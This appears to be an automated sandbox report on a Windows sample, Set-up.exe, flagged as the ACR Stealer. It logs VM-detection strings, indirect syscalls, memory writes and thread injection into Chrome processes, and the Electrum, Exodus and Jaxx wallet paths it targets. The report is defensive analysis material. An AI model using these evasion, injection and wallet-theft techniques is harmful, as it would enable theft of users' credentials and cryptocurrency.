Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\Set-up.exe	API/Special instruction interceptor: Address: 7FFCC372D304
Source: C:\Users\user\Desktop\Set-up.exe	API/Special instruction interceptor: Address: 7FFCC372D744
Source: C:\Users\user\Desktop\Set-up.exe	API/Special instruction interceptor: Address: 7FFCC3730154
Source: C:\Users\user\Desktop\Set-up.exe	API/Special instruction interceptor: Address: 7FFCC372DA44

Source: Amcache.hve.12.dr	Binary or memory string: VMware
Source: Amcache.hve.12.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.12.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.12.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.12.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.12.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.12.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.12.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.12.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.12.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.12.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.12.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.12.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.12.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.12.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.12.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.12.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.12.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.12.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.12.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.12.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.12.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.12.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.12.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.12.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.12.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.12.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.12.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.12.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\Set-up.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Set-up.exe

Code function: 0_2_01FF01A3 LdrLoadDll,

0_2_01FF01A3

Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_01FD09E1 mov eax, dword ptr fs:[00000030h]	0_2_01FD09E1
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_01FD0421 mov edx, dword ptr fs:[00000030h]	0_2_01FD0421
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_01FD0D91 mov eax, dword ptr fs:[00000030h]	0_2_01FD0D91
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_01FD1031 mov eax, dword ptr fs:[00000030h]	0_2_01FD1031
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_01FD1030 mov eax, dword ptr fs:[00000030h]	0_2_01FD1030
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_01FD1A1F mov eax, dword ptr fs:[00000030h]	0_2_01FD1A1F
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_03F85BC0 mov eax, dword ptr fs:[00000030h]	0_2_03F85BC0

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\Set-up.exe	Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1D736FB0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1D736FC0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1D736FD0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1D736FE0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1D736FF0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 243932A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 243932B0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 243932C0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 243932D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 243932E0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 243932F0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 258B17B0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 258B17C0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 258B17D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 258B17E0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 258B17F0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 258B1800000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1AD16B90000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1AD16BA0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1AD16BB0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1AD16BC0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1AD16BD0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory allocated: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1AD16BE0000 protect: page execute and read and write	Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Desktop\Set-up.exe

NtAllocateVirtualMemory: Indirect: 0x3F8845D

Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\Desktop\Set-up.exe	Thread register set: target process: 7228	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Thread register set: target process: 7260	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Thread register set: target process: 3888	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Thread register set: target process: 1692	Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1D736FC0000	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1D736FD0000	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1D736FE0000	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1D736FB0000	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1D736FB0008	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1D736FB0010	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1D736FB0018	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1D736FB0020	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1D736FB0028	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1D736FB0030	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1D736FF0000	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 243932B0000	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 243932C0000	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 243932D0000	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 243932A0000	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 243932A0008	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 243932A0010	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 243932A0018	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 243932A0020	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 243932F0000	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 258B17C0000	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 258B17D0000	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 258B17E0000	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 258B17B0000	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 258B17B0008	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 258B17B0010	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 258B17B0018	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 258B17B0020	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 258B1800000	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1AD16BA0000	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1AD16BB0000	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1AD16BC0000	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1AD16B90000	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1AD16B90008	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1AD16B90010	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1AD16B90018	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1AD16B90020	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Program Files\Google\Chrome\Application\chrome.exe base: 1AD16BE0000	Jump to behavior

Source: C:\Users\user\Desktop\Set-up.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Set-up.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.12.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.12.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.12.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.12.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected ACR Stealer

Source: Yara match

File source: Process Memory Space: Set-up.exe PID: 7572, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Roaming\Electrum\wallets
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Roaming\ElectronCash\wallets
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Publicp.inir......All UsersAll Users\??\C:\Users\All Users\??\C:\Users\All UsersDefaultDefault\??\C:\Users\Default\??\C:\Users\DefaultDefault UserDefault User\??\C:\Users\Default User\??\C:\Users\Default Userdesktop.inidesktop.ini\??\C:\Users\desktop.iniuseruser\??\C:\Users\user\??\C:\Users\userPublicPublic\??\C:\Users\Public\??\C:\Users\Public\??\C:\Users\All Users\AppData\??\C:\Users\All Users\AppData\Roaming\Electrum\wallets\??\C:\Users\All Users\AppData\Roaming\Electrum\wallets\??\C:\Users\Default\AppData\??\C:\Users\Default\AppData\Roaming\Electrum\wallets\??\C:\Users\Default\AppData\Roaming\Electrum\wallets\??\C:\Users\Default User\AppData\??\C:\Users\Default User\AppData\Roaming\Electrum\wallets\??\C:\Users\Default User\AppData\Roaming\Electrum\wallets\??\C:\Users\user\AppData\??\C:\Users\user\AppData\Roaming\Electrum\wallets\??\C:\Users\user\AppData\Roaming\Electrum\wallets\??\C:\Users\Public\AppData\??\C:\Users\Public\AppData\Roaming\Electrum\wallets\??\C:\Users\Public\AppData\Roaming\Electrum\wallets
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: exodus.conf.json
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: info.seco
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Publicp.inir......All UsersAll Users\??\C:\Users\All Users\??\C:\Users\All UsersDefaultDefault\??\C:\Users\Default\??\C:\Users\DefaultDefault UserDefault User\??\C:\Users\Default User\??\C:\Users\Default Userdesktop.inidesktop.ini\??\C:\Users\desktop.iniuseruser\??\C:\Users\user\??\C:\Users\userPublicPublic\??\C:\Users\Public\??\C:\Users\Public\??\C:\Users\All Users\AppData\??\C:\Users\All Users\AppData\Roaming\Exodus\??\C:\Users\All Users\AppData\Roaming\Exodus\??\C:\Users\Default\AppData\??\C:\Users\Default\AppData\Roaming\Exodus\??\C:\Users\Default\AppData\Roaming\Exodus\??\C:\Users\Default User\AppData\??\C:\Users\Default User\AppData\Roaming\Exodus\??\C:\Users\Default User\AppData\Roaming\Exodus\??\C:\Users\user\AppData\??\C:\Users\user\AppData\Roaming\Exodus\??\C:\Users\user\AppData\Roaming\Exodus\??\C:\Users\Public\AppData\??\C:\Users\Public\AppData\Roaming\Exodus\??\C:\Users\Public\AppData\Roaming\Exodus``
Source: Set-up.exe, 00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: passphrase.json
